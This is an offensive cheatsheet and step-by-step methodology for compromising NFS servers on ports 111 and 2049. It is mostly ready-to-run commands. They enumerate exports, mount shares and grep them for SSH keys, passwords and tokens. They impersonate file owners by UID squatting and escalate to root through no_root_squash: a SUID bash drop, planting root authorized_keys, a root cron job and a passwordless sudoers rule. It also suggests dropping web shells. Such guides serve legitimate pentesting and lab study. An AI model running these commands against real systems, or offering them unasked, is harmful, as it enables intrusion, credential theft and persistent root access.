NFS - Ports 111, 2049

Cheatsheet

nmap -sV -sC -p111,2049 <IP>
sudo nmap --script "nfs*" -p111,2049 <IP>
 
#interact 
showmount -e <IP>   # List exports and the hosts/subnets allowed to mount them
showemount -d <IP> # dirs 
rpcinfo -p <IP>   # RPC lists all the rpc sercvices like nfs,portmapper,mountd on the server 
nxc nfs <IP> --shares
 
# mount
mkdir -p /mnt/target-nfs
sudo mount -t nfs <IP>:/<SHARE> /mnt/target-nfs 
sudo mount -t nfs <IP>:/<SHARE> /mnt/target-nfs -o nolock # wihtout root squashing
sudo mount -t nfs <IP>:/<SHARE> /mnt/target-nfs -o vers=<version> # force nfsv3/nfsv2..
ls -lan /mnt/target-nfs/
# List files with numeric UIDs/GIDs (critical for UID squatting)
ls -lan /mnt/nfs/
 
# NetExec recursive export enumeration
nxc nfs <IP> --enum-shares --enum-depth 3
nxc nfs <IP> --ls --share <SHARE> #list
nxc nfs <IP> --get-file <REMOTE> <LOCAL> --share <SHARE> #download
nxc nfs <IP> --put-file <LOCAL> <REMOTE> --share <SHARE> #upload
 
sudo umount /mnt/nfs

Methodology

Phase 1: Enumerate Exports

# All NFS scripts 
sudo nmap --script "nfs*" -p111,2049 <IP>
showmount -e <IP>
# RPC program/version/port map
rpcinfo -p <IP>
# NetExec share list with permission + root-escape flags
nxc nfs <IP> --shares

• showmount -e <IP> lists every exported path and the hosts/subnets allowed to mount it. This is the single most important NFS command.
• sudo nmap --script "nfs*" -p111,2049 <IP> runs nfs-showmount, nfs-ls, and nfs-statfs. nfs-ls enumerates file contents and permissions without mounting, so you get a listing even when your UID cannot mount.
• rpcinfo -p <IP> lists every registered RPC program (portmapper, nfs, mountd, nlockmgr, status). Confirms negotiable NFS versions and reveals auxiliary services.
• nxc nfs <IP> --shares lists shares with read/write flags and surfaces root-escape conditions automatically.
• Parse the allowed-host column for each export and decide your access plan: * / 0.0.0.0/0 is world-mountable; a specific subnet means you must be on it or pivot; a single host means you must compromise or pivot through that host first.

Phase 2: Mount and Explore

# Mount (NFSv3, skip lockd which is often filtered)
sudo mount -t nfs <IP>:/<SHARE> /mnt/nfs -o nolock
# Force older version if "Protocol not supported"
sudo mount -t nfs -o vers=3 <IP>:/<SHARE> /mnt/nfs
# Numeric UID/GID listing record these before anything else
ls -lan /mnt/nfs/
# Hunt the usual suspects
find /mnt/nfs -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" -o -name "*.pem" 2>/dev/null
grep -riE "password|passwd|secret|api[_-]?key|token" /mnt/nfs/ 2>/dev/null

• sudo mount -t nfs <IP>:/<SHARE> /mnt/nfs -o nolock nolock skips the network lock manager, which is often filtered or broken and otherwise causes hangs.
• On Protocol not supported, force an older dialect: sudo mount -t nfs -o vers=3 <IP>:/<SHARE> /mnt/nfs (or vers=2). Legacy NFSv2/v3 are still common on appliances.
• ls -lan /mnt/nfs/ the -n flag shows numeric UIDs/GIDs instead of resolved names. You need the raw numbers for UID squatting in Phase 4.
• find /mnt/nfs -type f 2>/dev/null then targeted searches: SSH material (id_rsa, id_ed25519, *.pem, authorized_keys), configs with creds (*.conf, *.env, .my.cnf, .pgpass), history (.bash_history, .zsh_history), backups (*.bak, *.tar*, *.sql).
• grep -riE "password|passwd|secret|api[_-]?key|token" /mnt/nfs/ 2>/dev/null cast a wide net across everything readable. Prioritise SSH keys first they grant direct shell access to any host that accepts them, not just this one.

Phase 3: Check Write Access

touch /mnt/nfs/.wtest 2>/dev/null && echo WRITABLE && rm /mnt/nfs/.wtest
# Cross-check NetExec's writable-share detection
nxc nfs <IP> --shares

• touch /mnt/nfs/.wtest 2>/dev/null && echo WRITABLE && rm /mnt/nfs/.wtest probe write permission with a disposable marker.
• Cross-reference nxc nfs <IP> --shares, which flags writable shares explicitly.
• If writable, determine what the share maps to: a user’s $HOME → drop .ssh/authorized_keys for instant SSH as that user; a web root (/var/www/html, /srv/http, /opt/tomcat/webapps) → drop a web shell and trigger via HTTP; a shared/logs dir → plant a marker and watch where it surfaces to infer what touches it.
• If cron or a watcher service reads the share, hijack a script that runs as root.

Phase 4: UID Squatting (Access Restricted Files)

# Identify the owning UID
ls -lan /mnt/nfs/
# Create a local user with the matching UID (-o allows duplicate, -m makes a home)
sudo useradd -o -u 1001 -m -s /bin/bash squatter
sudo su - squatter
cat /mnt/nfs/restricted_file.txt

• ls -lan /mnt/nfs/ note the numeric UIDs of files you cannot read or write.
• sudo useradd -o -u 1001 -m -s /bin/bash squatter && sudo su - squatter match the file owner’s UID locally. Under AUTH_SYS the server accepts your access as that user, so you can now read, write, and chmod files owned by UID 1001.
• For restricted group access, mirror the GID too: sudo groupadd -g <GID> squattergrp && sudo usermod -aG squattergrp squatter.
• Repeat for any UID whose files you want to touch.

Phase 5: Escalate to Root (no_root_squash / no_subtree_check)

# Confirm no_root_squash from the server config (needs a shell on target)
cat /etc/exports
# SUID bash drop needs a low-priv shell on the target to execute it
sudo cp /bin/bash /mnt/nfs/.rootbash
sudo chmod 4755 /mnt/nfs/.rootbash
# On the target, as the low-priv user:
# /path/on/target/.rootbash -p     # -p preserves euid -> root shell
 
# SSH authorized_keys drop no target shell required
ssh-keygen -t ed25519 -f nfs_key -N ""
sudo mkdir -p /mnt/nfs/root/.ssh && sudo chmod 700 /mnt/nfs/root/.ssh
sudo tee /mnt/nfs/root/.ssh/authorized_keys < nfs_key.pub
sudo chmod 600 /mnt/nfs/root/.ssh/authorized_keys
ssh -i nfs_key root@<IP>
 
# Cron / sudoers drop  when the export reaches /etc
echo '* * * * * root chmod u+s /bin/bash' | sudo tee /mnt/nfs/etc/cron.d/.pwn
echo 'nobody ALL=(ALL) NOPASSWD:ALL' | sudo tee /mnt/nfs/etc/sudoers.d/.pwn
 
# no_subtree_check root escape reach inodes outside the exported subtree
nxc nfs <IP>

• Confirm the option: with a shell, cat /etc/exports and look for no_root_squash. Without a shell, mount as root, touch a file, and ls -l it root:root (not nobody:nogroup) confirms no_root_squash.
• Match the primitive to the exposed path. An export mapped to /home (not /) rules out /etc/cron.d/ and /root/.ssh/ you can only reach user home directories, so the clean play is dropping your key in /home/<user>/.ssh/authorized_keys for every user whose directory exists. A SUID-bash drop is useless there until you already have a foothold to execute it.
• SUID-binary method (requires a low-priv shell on the target): copy /bin/bash into the export, chmod 4755, then run it on the target with -p. The -p is essential without it bash drops privileges when euid ≠ uid.
• SSH authorized_keys method (no target shell needed): write your public key into a writable /root/.ssh/ or a user’s .ssh/ exposed by the export, then SSH in.
• Cron / sudoers drop (when the export reaches /etc): plant a root cron job or a sudoers file. Only possible if the export root is / (or /etc) with no_root_squash.
• no_subtree_check root escape (fallback when the export is read-only or maps to a boring subtree): nxc nfs <IP> flags this as Root escape: Yes. The option (the modern default, enabled for performance) means the server does not verify that a submitted file handle lives inside the exported subtree, so a crafted handle can reach /etc/shadow, /root/.ssh/, or any inode. Use file-handle tooling such as libnfs/nfs-cat; it is fiddly, so prefer the writable/no_root_squash paths first.

Overview

NFS (Network File System) is the native Unix/Linux file-sharing protocol the equivalent of SMB in the Windows world. It is used heavily on storage appliances, VMware datastores, Kubernetes persistent volumes, and shared home-directory servers.

Ports:

• 111/TCP/UDP RPCbind / Portmapper (maps RPC programs to dynamic ports). Used by NFSv3 and below; NFSv4 does not require it.
• 2049/TCP/UDP the NFS service itself.

Quick Reference

NFS Export Options

Config file: /etc/exports on the server. Each line is path client(options), e.g. /srv/share 10.10.10.0/24(rw,no_root_squash).

Dangerous Settings Cheat-Sheet

Nmap Scripts

sudo nmap --script "nfs*" -p111,2049 <IP>
nmap --script nfs-showmount -p111,2049 <IP>   # like showmount -e, works when showmount is filtered
nmap --script nfs-ls -p111,2049 <IP>          # list exports AND file contents, no mount required
nmap --script nfs-statfs -p111,2049 <IP>      # disk statistics per export
nmap --script rpcinfo -p111 <IP>              # list all registered RPC programs

NetExec (nxc)

nxc nfs <IP> --shares
 
# Recursive enumeration
nxc nfs <IP> --enum-shares
nxc nfs <IP> --enum-shares --enum-depth 3
 
# List files in a specific share
nxc nfs <IP> --ls --share <SHARE>
 
# Download / upload
nxc nfs <IP> --get-file <REMOTE> <LOCAL> --share <SHARE>
nxc nfs <IP> --put-file <LOCAL> <REMOTE> --share <SHARE>